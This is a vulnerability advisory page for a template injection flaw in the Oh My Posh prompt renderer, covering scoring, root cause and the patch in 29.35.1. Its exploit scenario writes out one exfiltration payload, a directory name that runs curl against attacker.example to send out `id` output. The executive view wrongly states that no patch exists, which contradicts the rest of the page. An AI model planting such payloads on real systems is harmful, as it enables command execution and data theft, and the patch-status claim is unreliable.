Skip to main content

Oh My Posh CVE-2026-73505

| EUVDEUVD-2026-58078 HIGH
Code Injection (CWE-94)
2026-08-13 GitHub_M GHSA-6xj8-qv9j-xcjq
7.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Create directory with template payload name
  2. Delivery
    Victim navigates into or below malicious directory
  3. Exploit
    Oh My Posh renders shell prompt
  4. Execution
    setStyle() passes raw path to template.Render
  5. Persist
    cmd function executes attacker OS command
  6. Impact
    Arbitrary code runs as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must be running Oh My Posh as their shell prompt renderer with any configuration containing a path segment - including the built-in default configuration. An attacker must be able to place a directory with a Go template expression in its name (e.g., {{ cmd ... }}) somewhere on the filesystem that the victim will navigate into or below. On Linux and macOS, any directory name is valid except those containing / or NUL, so template payloads are fully creatable. On Windows, PowerShell commands can be embedded using slash-free payloads (demonstrated in PoC via powershell -c sc). Exploitation is bounded by: (1) the victim must actively cd into or below the malicious directory (UI:R), and (2) the attacker must control or influence a path on the victim's filesystem - via a shared drive, cloned repository, downloaded archive, or symlink. No authentication to Oh My Posh itself is required.

Impact

The CVSS 3.1 score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects a local-vector, low-complexity attack requiring user interaction (victim must navigate into the malicious directory). The attack vector is local, meaning an attacker must be able to place a specially named directory somewhere the victim will navigate - achievable via shared filesystems, cloned repositories, downloaded archives, or social engineering. PR:N is appropriate because no elevated privileges are needed to create such a directory. A verified proof-of-concept is publicly documented in the GHSA advisory (GHSA-6xj8-qv9j-xcjq), demonstrating command execution via --pwd flag simulation and real directory creation on both Unix and Windows. No EPSS data was provided in the input, and this CVE is not listed in CISA KEV. The combination of a low-complexity exploit, a published PoC, and a developer-centric user base (who routinely cd into untrusted repositories) elevates real-world risk above what the local attack vector alone suggests. The fix (commit 88ddbe0b0a4dd13cc345996108c9869493f2c690) is available in v29.35.1.

Exploit ScenarioDerived

An attacker crafts a Git repository containing a directory named {{ cmd "curl" "https://attacker.example/exfil?u=$(id)" }}. A developer clones the repository and runs cd into any child of that directory as part of normal workflow. Oh My Posh immediately renders the prompt, evaluating the embedded template expression and executing the curl command as the developer's user account. A verified proof-of-concept for this exact attack class is included in the GHSA advisory, confirmed across Linux, macOS, and Windows.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 13, 2026

Template injection in Oh My Posh prior to 29.35.1 allows arbitrary operating system command execution as the victim user when the shell prompt renders inside a directory whose name contains a Go template expression. The setStyle() function in src/segments/path.go passes raw filesystem path components - including untrusted directory names - directly into template.Render, whose function map exposes a cmd helper that invokes env.RunCommand. A publicly available proof-of-concept demonstrates command execution and file writes across Linux, macOS, and Windows. No active exploitation is confirmed in CISA KEV, but the attack surface includes any developer who cds into a maliciously named directory on a shared or attacker-influenced filesystem.

RemediationAI

Upgrade to Oh My Posh v29.35.1, which is the vendor-released patch resolving this issue. The fix is tracked at https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.35.1 and the patching commit is https://github.com/JanDeDobbeleer/oh-my-posh/commit/88ddbe0b0a4dd13cc345996108c9869493f2c690. The fix introduces template.RenderTrusted for config-sourced templates, separating trusted (user-controlled config) rendering from untrusted (filesystem-derived) data. If immediate upgrade is not possible, avoid navigating into directories sourced from untrusted parties (e.g., cloned repositories, shared network drives, or downloaded archives) until patched. Disabling the path segment in the Oh My Posh configuration entirely eliminates the vulnerable code path but removes directory display from the prompt - a significant usability trade-off for most users. There is no known workaround that preserves path display functionality while mitigating the injection risk in unpatched versions.

Affected VersionsENISA

oh-my-posh < 29.35.1

Affected Packages

go github.com/jandedobbeleer/oh-my-posh fix: 29.35.1+incompatible, 29.35.1
euvd oh_my_posh fix: 29.35.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Oh My Posh is a cross-platform, cross-shell prompt renderer written in Go (CPE: cpe:2.3:a:jandedobbeleer:oh-my-posh:*:*:*:*:*:*:*:*). The root cause is CWE-94 (Improper Control of Generation of Code), specifically Go template injection. The colorizePath function builds the prompt path string by inserting raw filesystem folder names verbatim via fmt.Sprintf(folderFormat, element). This string is then passed to template.Render, which parses and executes it using the full Go text/template function map defined in src/template/func_map.go. That function map includes a cmd function that calls env.RunCommand, giving any embedded template expression in a directory name full OS command execution capability. The flaw affects every path style (full, folder, agnoster, agnoster_short, mixed, letter) and the default configuration contains a path segment, meaning no non-default setup is required.

Know when Oh My Posh gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Local vector because attacker must place a malicious directory on the victim's filesystem; PR:N as no elevated privileges needed to create directories; UI:R because victim must navigate into the directory to trigger prompt rendering.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 7.8 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 13, 2026 - 17:18 EUVD
CVE Published
Aug 13, 2026 - 14:21 cve.org
HIGH 7.8

DescriptionCVE.org

Oh My Posh is the most customisable and low-latency cross platform/shell prompt renderer. Prior to 29.35.1, the setStyle() function in src/segments/path.go passed pt.Path, which includes raw folder names, to template.Render, whose function map exposes cmd, so an attacker-controlled directory name containing a Go template expression could execute arbitrary operating system commands as the current user whenever the prompt rendered inside that directory or a descendant. This issue is fixed in version 29.35.1.

Executive ViewAI

Why It Matters

Oh My Posh prior to version 29.35.1 contains a template injection vulnerability allowing arbitrary system command execution (publicly available exploit code exists) as the victim user. This affects developers and engineers accessing maliciously named directories on shared or attacker-influenced filesystems. With no patch currently available, organizations must immediately assess exposure and implement interim security controls.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include: restrict write access to shared directories where developers work; educate users to avoid cloning or entering repositories from untrusted sources; disable path segment rendering in Oh My Posh configuration if operationally feasible; implement OS-level access controls (AppArmor, SELinux) to limit shell execution scope; monitor shell command execution logs for anomalous activity in development environments.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
popular developer shell customization tool, not general enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy